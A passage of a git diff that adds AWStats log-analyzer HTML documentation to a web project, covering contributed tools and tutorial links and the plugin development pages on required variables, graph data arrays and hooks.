this plugin, you will see a new link called 'ISP' on reports menu. For +the moment this link works only when AWStats reports are build as CGI (static built not yet +supported). +<br>Example <span style="font-style: italic;">LoadPlugin="geoip_isp_maxmind GEOIP_STANDARD /usr/local/GeoIPISP.dat </span><span style="font-style: italic;">/usr/local/geoip_override.txt"</span><br>Plugin provided with AWStats (6.3+) + +<br><br><span style="font-weight: bold;">GeoIP_Org_Maxmind +(Commercial Only)</span><br><span style="font-style: italic;">Required Modules:</span> Geo::IP or Geo::IP::PurePerl (from Maxmind) +<br><span style="font-style: italic;">Parameters:</span> [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPOrg.dat] </pathto/override.txt><br><span style="font-style: italic;">Description:</span> This plugin adds a chart of hits by Organization names. +<br>By enabling this plugin, you will see a new link called 'Organizations' on reports menu. For +the moment this link works only when AWStats reports are build as CGI (static built not yet +supported). +<br>Example <span style="font-style: italic;">LoadPlugin="geoip_org_maxmind GEOIP_STANDARD /usr/local/GeoIPOrg.dat </span><span style="font-style: italic;">/usr/local/geoip_override.txt"</span><br>Plugin provided with AWStats (6.3+) + +<br><br><a name="CONTRIB"></a><br> +<font color="#665544" size="3"><b>Other AWStats contribs/tools/package</b></font><br> +<hr> + +<br> +All following files/products were developped and submitted by contributors. +I haven't tried them, so I can't tell you if they work and how they work...<br> +They can enhance AWStats use or save you time giving you a start for a new development.<br> +<br> + +<!-- +<b>Other available packages (provided by contributors):</b><br> +<a href="http://nx.dyndns.info/sme/awstats/awstats.php" target=new>A SME (E-Smith) package</a> (Based on AWStats 6.0 version)<br> +<a href="http://www.nuonce.net/awstats-cobalt.php" target=new> Cobalt RaQ 3/4/550 Package Files </a> (Based on AWStats 5.9)<br> +<a href="http://www.turro.org/Portal?xpc=1$@8$@1$@1&folder=20050104154634840" target=new> A war package</a><br> +<br> +--> + +<b>Other tools:</b><br> +<br> + +<i>Replacement Frontend:</i><br> +<br> + +<a href="http://betterawstats.com">BetterAWStats</a> is a PHP Frontend to show you AWStats data file differently.<br> + +<a href="http://phpnuke.org/modules.php?name=News&file=article&sid=7041" target="_new">AWStats PhpNuke module</a> is a module for the open source CMS PHP Nuke.<br> + +<a href="http://www.ravencore.com/" target="_new">Ravencore</a> is an Open Source Hosting Control Panel that include AWStats as part of its statistics solutions.<br> + +<a href="/files/summary4severaldomains.pl" target="_new">summary4severaldomains.pl</a> is a small perl script that build an index.html page +with AWStats txt summary information for each domains on same page (number of pages, hits and bandwith for month).<br> + +<a href="http://www.telartis.nl/xcms/awstats" target="_new">AWStats Totals</a> is a php page +that use AWStats database to show a summary for several config files, on the same page.<br> + +<br> +<i>Miscellanous:</i><br> +<br> + +<a href="http://wordpress.org/extend/plugins/awstats-script/">A plugin for WordPress</a> that allow WordPress users +to add tags required by AWStats to report the "miscellanous chart".<br> + +<a href="http://sourceforge.net/projects/exim2awstats/">Exim2Awstats</a> is a tool to convert Exim MTA log file to a format readable by AWSTats.<br> + +<a href="http://www.digievo.co.uk/software.asp?category=2">Logprocess</a> automate the collection, merging, processing and archiving of IIS +log files in a hosting (mult-domain) environment using AWStats to generate and manage stats/reports.<br> + +<a href="http://www.xlenc.com/portfolio.do" target="_new">XlencArlm</a> is a tool to enhance use of AWStats with IIS (Catching log files from FTP, +doing GMT correction on log files, ...). Don't know if it works correctly but seems to be interesting.<br> + +<a href="/files/configurador.tgz" target="_new">Configurador</a> is a piece of CGI perl scripts to allow you to edit an AWStats config file from +the web. Code comments are in Spanish but it may be a goo start to develop your own tool. +<i>Hector Garcia Alvarez</i><br> + +<a href="/files/logtrans.py" target="_new">logtrans.py</a> is a python small example on how to convert an old +log file from IIS4.0 to a new format compatible with AWStats. Don't know if it works, just here +to provide you a code sample if you like python.<br> + +<a href="/files/isa2w3c.pl" target="_new">isa2w3c.pl</a>, is a convertor to have a more standard +log file from an ISA log file.<br> + +<a href="http://www.ruwenzori.net/code/go_awstats/" target="_new">go_awstats</a>, is a tool to automate build of +AWStats statics reports for all config files but also for all month.<br> + +<a href="http://forum.topflood.com/referencement/logiciel-stat-5015.html">Stats Letter</a>, is a Perl tool to +send AWStats reports to one or several user for one or several reports. Documentation in French only.<br> + + +<br><a name="RELATED"></a><br> +<font color="#665544" size="3"><b>Other Non AWStats contribs/tools (not related to AWStats but related to log analysis)</b></font><br> +<hr> + +<a href="/files/maillog2commonlog.pl" target="_new">maillog2commonlog.pl</a> converts mail logs in +smail or qmail format to the common log format. +Note that if you want to analyze, with AWStats, mail log files from postfix, sendmail or qmail, +a better solution is to use instead maillogconvert.pl preprocessor (See AWStats +<a href="awstats_faq.html#MAIL">F.A.Q</a> about analyzing mail logs).<br> +<i>Joey Hess, freeware.</i><br> + +<a href="http://www.kristoffersen.us/software/" target="_new">maillogconv.pl</a> is another mail log processor that +can be used to change mail log files into a log file that AWStats can understand.<br> +Note that a derivated and enhanced tool called maillogconvert.pl is provided with AWStats +since 5.7. See <a href="awstats_faq.html#MAIL">F.A.Q</a> about analyzing mail logs to know +how to setup AWStats with maillogconv.pl or maillogconvert.pl to analyze +Postfix, Sendmail, Qmail or MDaemon log files.<br> + +<a href="http://mlc.anzac.at%20" target="_new">mlc</a> is another postfix mail logs converter (written in C). +Try it if the maillogconvert.pl tool provided with AWStats does not work on your postfix log file.<br> + +<a href="/files/access_referer_agent2combined.pl" target="_new">access_referer_agent2combined.pl</a> is a perl script that converts a +directory of common log format (CLF) access-files, referer-files and agent-files to a single combined.log +This is usefull if you have seperate access/referer/agent logfiles and want to use all features of a loganalyzer +that require a combined log file.<br> +<a href="http://anonlog.sourceforge.net/" target="_new">anonlog</a> "anonymizes" your logfile by encoding sensitive information.<br> +<i>Stephen Turner, freeware.</i><br> + +<br> +<u>If you don't like AWStats, you can try thoose other popular similar tools :</u><br> +<a href="http://www.analog.cx/" target="_new">Analog</a>. A very old log analyzer (written in C).<br> +<i>Stephen Turner, free software.</i><br> +<a href="http://www.mrunix.net/webalizer/" target="_new">Webalizer</a>. Another very old log analyzer (written in C).<br> +<br> +There is also commercial products you can find doing a search on 'log file analyzer' with <a href="http://www.google.com">Google</a>.<br> +<br> + + + +<br><a name="DOC"></a><br> +<font color="#665544" size="3"><b>Documents on AWStats or related to log analysis</b></font><br> +<hr> +<!--<img src="/images/us.png">-->AWStats official documentation for last version can be found here: <a href="index.html">HTML On line</a> or <a href="awstats.pdf">PDF file</a><br> +<br> +<a href="http://www.antezeta.com/awstats.html" title="Contains installation and usage tips, additional ExtraSection examples, patches and other resources">Additional resources for AWStats</a> provided by Antezeta (<a href="http://www.antezeta.it/awstats.html" title="Contiene suggerimenti per l'installazione ed utilizzo; esempi di ExtraSection, patch ed altri risorse" lang="it">or in Italian</a>)<br> +An intro and install doc 'Using AWStats on GNU/Linux or Windows' in <a href="http://www.chedong.com/tech/awstats.html">Chinese</a><br> +A setup tutorial in <a href="http://www.showsource.dk/artikler/vis_artikel.php?id=1065375981" target="_new">Danish</a><br> +A setup tutorial in <a href="http://www.funix.org/fr/linux/main-linux.php3?ref=logapache&page=menu" target="_doc">French from Funix: How to install AWStats and Webalizer</a><br> +A setup tutorial in <a href="http://www.baudelet.net/awstats.htm" target="_doc">French for Windows users</a><br> +A setup tutorial in <a href="http://www.fpoeserv.com/?Select=Awstats" target="_new">French from Fpoeserv</a><br> +A setup tutorial for debian users with a logrotate tool in <a href="http://amaris.cybernd.at/awstats.html" target="_new">German</a><br> +Another way to explain <a href="http://www.raoul.shacknet.nu/2005/11/29/configure-awstats/">AWStats setup</a><br> +<br> + + +<br> +<hr> + +<script language="javascript"> + var lastmod = new Date(document.lastModified); + if (lastmod.getDate() > 0) { + if (lastmod.getDate()<10) zerod="0" + else zerod=""; + if (lastmod.getMonth()<9) zerom="0" + else zerom="" + year2kok=lastmod.getYear(); + if (year2kok<100) year2kok+=2000; + if ((year2kok>=100) && (year2kok < 1970)) year2kok+=1900; + document.writeln("Last revision: "+year2kok+"-"+zerom+(lastmod.getMonth()+1)+"-"+zerod+lastmod.getDate()); + } +</script> + +<script language="javascript"> +var doc=document.location.href; +if (doc.match(/^http/i)!=null) { + document.write('<scr' + 'ipt language="javascript" src="/cgi-bin/pslogger.pl?loc='+escape(document.location)+'&ref='+escape(document.referrer)); + if (document.all) { document.write('&size='+document.fileSize); } + document.write('"></scr' + 'ipt>'); +} +</script> + +<a href="http://www.chiensderace.com"> </a> +<a href="http://www.chatsderace.com"> </a> + +</body></html> \ No newline at end of file diff --git a/src/main/webapp/monitoramento/docs/awstats_dev_plugins.html b/src/main/webapp/monitoramento/docs/awstats_dev_plugins.html new file mode 100644 index 0000000..095ab43 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_dev_plugins.html @@ -0,0 +1,176 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html><head> +<meta content="AWStats Documentation - Contrib and resource page" name="description"> +<meta content="awstats, awstat, log, file, analyzer, contrib, plugins, resources, maxmind, geoipfree, geoip, cities, regions, countries, frontend" name="keywords"> +<meta content="index,follow" name="robots"> +<meta content="AWStats Documentation - Plugins Development" name="title"><title>AWStats Documentation - Plugins Development</title> + +<link type="text/css" href="styles.css" rel="stylesheet"> +<link rel="stylesheet" type="text/css" href="scripts/prettify.css"> +<script type="text/javascript" src="scripts/prettify.js"></script><!-- $Revision: 1.4 $ - $Author: eldy $ - $Date: 2013/07/09 19:57:08 $ --> +</head> +<body onload="prettyPrint()"> +<table style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="100%"> +<!-- Large --> +<tbody> +<tr style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> +<td align="center" bgcolor="#9999cc"><a href="/"><img src="images/awstats_logo1.png" border="0"></a></td> +<td align="center" bgcolor="#9999cc"> +<br> +<font style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 16pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" color="#eeeeff"><b>AWStats logfile analyzer 7.2 ocumentation</b></font><br> +<br> +</td> +<td align="center" bgcolor="#9999cc"> + +</td> +</tr> +</tbody> +</table> +<br> +<br> +<h1 style="font-family: arial,helvetica,sanserif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 26px; line-height: normal; font-size-adjust: none; font-stretch: normal;">Plugin +Development</h1> +AWStats has a very flexible plugin architecture that is easy to use and +allows for powerful extensibility. Here is the information you need to +get started rolling your own. In this documentation, the terms +plugin and module will be used interchangeably. <br> +<br> +<ul> +<li><a href="#Plugin_Files_Location">Plugin Files, +Location</a></li> +<li><a href="#Hooks">Hooks</a></li> +<li><a href="#Required_Variables">Required +Variables</a></li> +<li><a href="#Accessible_Variables">Accessible +Variables</a></li> +<li><a href="#Accessible_Functions">Accessible +Functions</a></li> +<li><a href="awstats_dev_plugins_hooks.html">Available +Hooks</a></li> +</ul> +<br> +<a name="Plugin_Files_Location"></a><font color="#665544" size="3"><b>Plugin Files, +Location</b></font><br> +<hr>AWStats plugins are implemented as Perl modules with a file +extension of .pm. Every time you run AWStats, either in update mode or +HTML output mode, the configuration file will be parsed for the names +of plugins to load. Then AWStats will scan the plugins folder for +matching modules and load them into memory, executing hooks at the +appropriate time during a run. Thus, when you create a plugin, you have +to store the file in the plugins directory under the folder where +awstats.pl resides. <br> +<br> +<font color="#665544" size="3"><b><a name="Hooks"></a>Hooks</b></font><br> +<hr>In order to be useful, your plugin must implement +any number +of different "hooks" that will be called at various points during the +AWStats run. A hook is simply a Perl sub routine that will receive +various parameters, perform whatever actions you desire such as +calculations, modifications or output, and optionally return a value. <br> +<span style="font-weight: bold;">Note:</span> all +plugins MUST implement the <span style="font-style: italic;">Init_</span> +hook to initialize the module and determine if the plugin will run +under the current version of AWStats.<br> +For information on the available hooks, <a href="awstats_dev_plugins_hooks.html">view the Hooks +document.</a><br> +<a name="Required_Variables"></a><br> +<font color="#665544" size="3"><b>Required +Variables</b></font><br> +<hr>Each plugin must implement three required, local variables +including the name, hooks, implements and required AWStats Version. +Typically you implement these at the top of your plugin file as in this +example code:<br> +<br> +<code class="prettyprint">#-----------------------------------------------------------------------------<br> +# PLUGIN VARIABLES<br> +#-----------------------------------------------------------------------------<br> +# <-----<br> +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN<br> +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE.<br> +my $PluginNeedAWStatsVersion="5.5";<br> +my $PluginHooksFunctions="GetCountryCodeByAddr GetCountryCodeByName +ShowInfoHost";<br> +my $PluginName = "geoipfree";<br> +my $PluginImplements = "mou";<br> +# -----></code><br> +<br> +The <span style="font-weight: bold;">$PluginNeedAWStatsVersion</span> +indicates the minimum version of AWStats that your plugin requires to +run properly. If a user attempts to implement your plugin with an older +version of the program, the plugin will not load.<br> +<br> +<span style="font-weight: bold;">$PluginHooksFunctions</span> +is a space delimited list of the different hooks that your plugin will +implement. This list should only include names defined in the <a href="awstats_dev_plugins_hooks.html">hooks list</a>. +You should not list any private module functions or +the <span style="font-style: italic;">Init_</span> +hook in this list. The naming convention for all hooks is <span style="font-style: italic;">HookName_PluginName</span>. +The hooks like only includes the hook name without the underscore.<br> +<br> +<span style="font-weight: bold;">$PluginName</span> +is simply the name of your plugin, exactly as it appears in the hooks +and file name. This will be used by AWStats on load.<br> +<br> +<span style="font-weight: bold;">$PluginImplements</span> +is a list of letter codes mapped to operations that your plugin +performs. Without at least one of these letter codes, your plugin will +never run. The codes are:<br> +<ul> +<li>"m" - a Menu Handler plugin that +provides links to navigate around reports. The plugin will be called +any time a menu is displayed, such as in the left frame in cgi mode or +top navigation in static mode. </li> +<li>"o" - an Output plugin that will be loaded when AWStats is +generating a report via dynamic CGI or static HTML</li> +<li>"u" - an Update plugin that will process data and is run +when AWStats is parsing log files and updating the history data files.</li> +</ul> +<font color="#665544" size="3"><b><a name="Accessible_Variables"></a>Accessible Variables</b></font><br> +<hr>Your plugin has access to all of the global variables +declared at +the top of the AWStats.pl program. While you can write to these +variables, it's best to only read them as another plugin may make +unexpected modifications. However you can declare global variables +within your own plugin and share those across other plugins. Just +declare them inside the normal <span style="font-style: italic;">use +vars qw/ ... /</span> block within your own module.<br> +<br> +Thus you can (and should) use settings from the configuration file and +determine the debug level.<br> +<br> +<font color="#665544" size="3"><b><a name="Accessible_Functions"></a>Accessible Functions</b></font><br> +<hr>Plugins have access to all of the functions declared in the +main +AWStats.pl file. For debugging and error handling, you should use the <span style="font-style: italic;">debug</span> and <span style="font-style: italic;">error</span> functions. +Below are some common functions that plugins take advantage of +(remember you don't have to re-invent the wheel):<br> +<br> +<span style="font-weight: bold;">debug("<span style="font-style: italic;">debug message</span>", <span style="font-style: italic;">debug_level</span>)</span> +- Writes the "debug message" to the standard output if the (integer) +debug_level is lower or equal to that set by the user at runtime. The +higher the debug level, the less important or more informational the +message. After outputting the message, the program continues running.<br> +<br> +<span style="font-weight: bold;">error("<span style="font-style: italic;">error message</span>")</span> +- Writes the "error message" to the standard output and halts program +execution. <br> +<br> +<span style="font-weight: bold;">Format_Bytes(<span style="font-style: italic;">bytes</span>)</span> +- Converts the incoming decimal value to Kilobytes, Megabytes, +Gigabytes and so forth. So if you put in 1024.5 it will spit out "1 KB"<br> +<br> +<span style="font-weight: bold;">Format_Date(<span style="font-style: italic;">YYYYMMDDHHMMSS</span>)</span> +- Converts the incoming timestamps to something like 30 Apr 2010 - 16:55<br> +<br> +<span style="font-weight: bold;">Format_Number(<span style="font-style: italic;">number</span>) -</span> +Adds commas or a user defined character where appropriate to separate +numbers for easier reading.<br> +<br> +<hr> +<script language="javascript"> +var date='$Date: 2013/07/09 19:57:08 $'; +document.writeln("Last revision: "+date); +</script><!-- +First version of this tool was designed to analyze folowing web sites: +--><br> +</body></html> \ No newline at end of file diff --git a/src/main/webapp/monitoramento/docs/awstats_dev_plugins_graphs.html b/src/main/webapp/monitoramento/docs/awstats_dev_plugins_graphs.html new file mode 100644 index 0000000..a63ef9a --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_dev_plugins_graphs.html @@ -0,0 +1,201 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html><head> +<meta name="description" content="AWStats Documentation - Contrib and resource page"> +<meta name="keywords" content="awstats, awstat, log, file, analyzer, contrib, plugins, resources, maxmind, geoipfree, geoip, cities, regions, countries, frontend"> +<meta name="robots" content="index,follow"> +<meta name="title" content="AWStats Documentation - Plugins Development - Graphs"><title>AWStats Documentation - Plugins Development - Graphs</title> + +<link rel="stylesheet" href="styles.css" type="text/css"> +<link href="scripts/prettify.css" type="text/css" rel="stylesheet"> +<script type="text/javascript" src="scripts/prettify.js"></script><!-- $Revision: 1.3 $ - $Author: eldy $ - $Date: 2012/12/08 11:54:41 $ --> +</head> +<body onload="prettyPrint()"> +<table style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="100%"> +<!-- Large --> +<tbody> +<tr style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> +<td align="center" bgcolor="#9999cc"><a href="/"><img src="images/awstats_logo1.png" border="0"></a></td> +<td align="center" bgcolor="#9999cc"> +<br> +<font style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 16pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" color="#eeeeff"><b>AWStats logfile analyzer 7.1 +Documentation</b></font><br> +<br> +</td> +<td align="center" bgcolor="#9999cc"> + +</td> +</tr> +</tbody> +</table> +<br> +<br> +<h1 style="font-family: arial,helvetica,sanserif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 26px; line-height: normal; font-size-adjust: none; font-stretch: normal;">Plugin +Graphs</h1> +Charts, graphs and maps can be generated by your plugin and make +AWStats reports look nice. AWStats generates arrays of values, label +names and titles so that your plugin only has to handle the final data +and display it as you wish.<br> +<span style="font-weight: bold;">NOTE:</span> Only +one graphing plugin should be choose by a user at any given time, thus +your plugin should generate as many graphs as possible. If more than +one graphing plugin is enabled at any given time, multiple graphs will +appear in the output for each graph type.<br> +<br> +Below is a list of variables passed to the graphin hook and how you +should use them.<br> +<ul> +<li>Title</li> +<li>Type</li> +<li>Block Label</li> +<li>Val Label</li> +<li>Val Color</li> +<li>Val Max</li> +<li>Val Total</li> +<li>Val Average</li> +<li>Val Data</li> +</ul> +<br> +<font color="#665544" size="3"><b>Title</b></font><br> +<hr>This is simply the title of the graph as it should be +displayed to the end user. This could be "Hosts (Top 5)" or "Monthly +History" or anything else. Of course, you don't have to show the title +unless you want to.<br> +<br> +<font color="#665544" size="3"><b>Type</b></font><br> +<hr>The type is important as your graphing plugin should +determine what type of graph to output depending on the type AWStats is +requesting. For information on types and the data order, <a href="#Graph_Types_and_Data">check the Types and Data section</a>.<br> +<ul> +</ul> +<font color="#665544" size="3"><b>Block Label</b></font><br> +<hr>This is a label for each group of data, usually labels for +the X axis such as the days of the week, months of the year, etc. Your +plugin can use the scalar count of values in this array as the number +of times a loop needs to iterate through an axis. For example:<br> +<br> +<code class="prettyprint">foreach my $j (1.. (scalar +@$blocklabel)) { ... }</code><br> +<br> +<font color="#665544" size="3"><b>Val Label</b></font><br> +<hr>@vallabel contains a list of labels for each of the data sets +such as "pages", "hits", etc. Use the scalar count of values when +accessing the data matrix.<br> +<br> +<font color="#665544" size="3"><b>Val Color</b></font><br> +<hr>This is an array of color values associated with each type of +data as assigned by the configuration file or the defaults in AWStats. +Each color is a web formatted RGB hex encoded value such as "FFFFFF" or +"000000". <br> +<br> +<font color="#665544" size="3"><b>Val Max</b></font><br> +<hr>This array contains the maximum individual numeric value for +each of the types of data stored in the data array. The count is the +same as the the color array.<br> +<br> +<font color="#665544" size="3"><b>Val Total</b></font><br> +<hr>This array contains the total numeric value for each type of +data stored in the data array. The count is the same as the +the color array. <br> +<br> +<font color="#665544" size="3"><b>Val Average</b></font><br> +<hr>This array contains the average numeric value for each type +of data +stored in the data array. The count is the same as the the +color array. <br> +<br> +<font color="#665544" size="3"><b>Val Data</b></font><br> +<hr>This array contains the actual data values for each type of +data indexed by each data type for a block of data, then the next set +of types for a block and so on. Thus if we were looking at the monthly +graph, the data would be laid out thusly:<br> +<br> +$valdata[0] --> January Unique Visitors<br> +$valdata[1] --> January Number of Visits<br> +$valdata[2] --> January Pages<br> +$valdata[3] --> January Hits<br> +$valdata[4] --> January Bandwidth<br> +$valdata[5] --> February Unique Visitors<br> +$valdata[6] --> February Number of Visits<br> +....<br> +<br> +<font color="#665544" size="3"><b><a name="Graph_Types_and_Data"></a>Graph Types and Data</b></font><br> +<hr>Below is a list of the different graph types and the order in +which data appears in the associated arrays.<br> +<br> +<ul> +<li><span style="font-weight: bold;">month</span> +- a graph of each month for a given year</li> +<ul> +<li>Unique Visitors</li> +<li>Visits</li> +<li>Pages</li> +<li>Hits</li> +<li>Bandwidth</li> +</ul> +<li><span style="font-weight: bold;">daysofmonth</span> +- each day of the month</li> +<ul> +<li>Visits</li> +<li>Pages</li> +<li>Hits</li> +<li>Bandwidth</li> +</ul> +<li><span style="font-weight: bold;">daysofweek</span> +- an averaged data set for each day of the week</li> +<ul> +<li>Pages</li> +<li>Hits</li> +<li>Bandwidth</li> +</ul> +<li><span style="font-weight: bold;">hours</span> +- an averaged data set for each hour of a day</li> +<ul> +<li>Pages</li> +<li>Hits</li> +<li>Bandwidth</li> +</ul> +<li><span style="font-weight: bold;">cluster</span> +- the top 5 clustered servers if the cluster option is enabled</li> +<ul> +<li>Pages</li> +</ul> +<li><span style="font-weight: bold;">filetypes</span> +- the top 5 file types reported on</li> +<ul> +<li>Pages</li> +</ul> +<li><span style="font-weight: bold;">httpstatus</span> +- the top 5 HTTP status codes</li> +<ul> +<li>Pages</li> +</ul> +<li><span style="font-weight: bold;">browsers</span> +- the top 5 browsers</li> +<ul> +<li>Pages</li> +</ul> +<li><span style="font-weight: bold;">oss</span> +- the top 5 operating systems</li> +<ul> +<li>Pages</li> +</ul> +<li><span style="font-weight: bold;">hosts</span> +- the top 5 hosts</li> +<ul> +<li>Pages</li> +</ul> +<li><span style="font-weight: bold;">countries_map</span> +- a list of all countries and their hit counts</li> +<ul> +<li>Hits</li> +</ul> +</ul> +<br> +<hr> +<script language="javascript"> +var date='$Date: 2012/12/08 11:54:41 $'; +document.writeln("Last revision: "+date); +</script><!-- +First version of this tool was designed to analyze folowing web sites: +--> +</body></html> \ No newline at end of file diff --git a/src/main/webapp/monitoramento/docs/awstats_dev_plugins_hooks.html b/src/main/webapp/monitoramento/docs/awstats_dev_plugins_hooks.html new file mode 100644 index 0000000..e5c5f78 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_dev_plugins_hooks.html @@ -0,0 +1,386 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html><head> +<meta name="description" content="AWStats Documentation - Contrib and resource page"> +<meta name="keywords" content="awstats, awstat, log, file, analyzer, contrib, plugins, resources, maxmind, geoipfree, geoip, cities, regions, countries, frontend"> +<meta name="robots" content="index,follow"> +<meta name="title" content="AWStats Documentation - Plugins Development - Hooks"><title>AWStats Documentation - Plugins Development - Hooks</title> + +<link rel="stylesheet" href="styles.css" type="text/css"> +<link href="scripts/prettify.css" type="text/css" rel="stylesheet"> +<script type="text/javascript" src="scripts/prettify.js"></script><!-- $Revision: 1.3 $ - $Author: eldy $ - $Date: 2012/12/08 11:54:41 $ --> +</head> +<body onload="prettyPrint()"> +<table style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="100%"> +<!-- Large --> +<tbody> +<tr style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> +<td align="center" bgcolor="#9999cc"><a href="/"><img src="images/awstats_logo1.png" border="0"></a></td> +<td align="center" bgcolor="#9999cc"> +<br> +<font style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 16pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" color="#eeeeff"><b>AWStats logfile analyzer 7.1 +Documentation</b></font><br> +<br> +</td> +<td align="center" bgcolor="#9999cc"> + +</td> +</tr> +</tbody> +</table> +<br> +<br> +<h1 style="font-family: arial,helvetica,sanserif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 26px; line-height: normal; font-size-adjust: none; font-stretch: normal;">Plugin +Hooks</h1> +The following is a list of hooks available to plugin +developers. At various steps in the reporting or parsing process, +AWStats will scan the plugin list for any matching hooks and execute +them. All hooks start with the name of the hook, an underscore and then +the plugin name. So for example, if I was creating a plugin called +"mypluginname" then the initialization hook would look like:<br> +<br> +<code class="prettyprint">sub Init_mypluginname()</code><br> +<br> +If you need a hook that isn't listed, please contact the developers +through Source Forge and place a request.<br> +<ul> +<li><a href="#Required_Hooks">Required Hooks</a></li> +<li><a href="#Common_Hooks_">Common Hooks</a></li> +<li><a href="#ProcessingUpdate_Hooks">Processing/Update +Hooks</a></li> +<li><a href="#OutputHTML_Hooks_">Output/HTML Hooks</a><br> +</li> +</ul> +<font color="#665544" size="3"><b><a name="Required_Hooks"></a>Required Hooks</b></font><br> +<hr><span style="font-weight: bold;">Init_<span style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +All<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +Any parameters passed from the configuration file<br> +<span style="font-style: italic;">Called:</span> +After loading configuration file and parsing plugins. Before parsing or +HTML output<br> +<span style="font-style: italic;">Description:</span> +The initialization hook is used to load parameters from the +configuration file and initialize variables used in your plugin before +any other hooks are called. This is a good place to initialize any hash +tables you need or open data files. <br> +<span style="font-weight: bold;">Note:</span> <span style="font-style: italic;">Init_</span> must return a +list of hooks that your plugin implements in order for it to be used by +AWStats. For example:<br> +<br> +<code class="prettyprint">sub Init_geoip_region_maxmind {<br> +my +$checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion);<br> +return ($checkversion?$checkversion:"$PluginHooksFunctions");<br> +}</code><br> +<br> +If your plugin will accept a number of parameters, insert a line +similar to the following:<br> +<br> +<code class="prettyprint">my $InitParams=shift;<br> +my ($mode,$datafile,$override)=split(/\s+/,$InitParams,3);</code><br> +<br> +Be sure to perform validation on the local variables and change the +number of splits to the number of parameters you expect to read.<span style="font-weight: bold;"><br> +</span> +<h2><a name="Common_Hooks_"></a><font color="#665544" size="3"><b><a name="Common_Hooks"></a>Common Hooks</b></font><br> +</h2> +<hr><span style="font-weight: bold;">SectionInitHashArray_<span style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +All<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +None<br> +<span style="font-style: italic;">Called:</span> +When AWStats InitHash is called, such as at startup, when purging a +history file or when a new month begins during processing.<br> +<span style="font-style: italic;">Description:</span> +Use to initialize or clear any hash variables local to your plugin<br> +<h2><font color="#665544" size="3"><b><a name="ProcessingUpdate_Hooks"></a>Processing/Update +Hooks</b></font><br> +</h2> +<hr><span style="font-weight: bold;"></span><span style="font-weight: bold;">SectionWriteHistory_<span style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +Update<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +$xml, $xmlbb, $xmlbs, $xmlbe, $xmlrb, +$xmlrs, $xmlre, $xmleb, $xmlee<br> +<span style="font-style: italic;">Called:</span> +Whenever the history file is written in AWStats<br> +<span style="font-style: italic;">Description:</span> +Lets your plugin +write a section to the history file. Please note that if your plugin +stores a lot of data, it could greatly increase the history file size +and slow down loading and processing. In such a situation, you may want +to use this as a trigger to write to a separate history file and use +the <span style="font-style: italic;">SectionReadHistory_</span> +hook as a trigger to read that data.<br> +XML parameters are the pre-defined XML tags the history file is using<br> +<br> +<span style="font-weight: bold;">SectionReadHistory_<span style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +Update, Output<span style="font-style: italic;"></span><br> +<span style="font-style: italic;">Parameters:</span> +$issectiontoload, $readxml, $xmleb, $countlines<br> +<span style="font-style: italic;">Called:</span> +Whenever the history file is loaded in AWStats<br> +<span style="font-style: italic;">Description:</span> +Lets your plugin read a section that it had written to the history +file. The history log is always loaded before parsing log entries and +before outputing HTML. <br> +$issectiontoload - the name of the plugin section found in the history +file. If this is true, then the plugin should process the field data<br> +$readxml - True if the history file is in XML format<br> +$xmleb - XML element opening tag<br> +$countlines - how many lines have been read from the history file so far<br> +<span style="font-weight: bold;"><br> +SectionProcessHostname_<span style="font-style: italic;">pluginname</span><br> +</span><span style="font-style: italic;">Type:</span> +Update<br> +<span style="font-style: italic;">Required:</span> No<br> +<span style="font-style: italic;">Parameters:</span> +Resolved hostname<br> +<span style="font-style: italic;">Called:</span> On +each line of a log file IF the hostname was resolved<br> +<span style="font-style: italic;">Description:</span> +Processes a resolved host name, i.e. <span style="font-style: italic;">www.google.com</span> and +is useful for counting hits to the host or looking up additional +information.<br> +<br> +<span style="font-weight: bold;">SectionProcessIP_<span 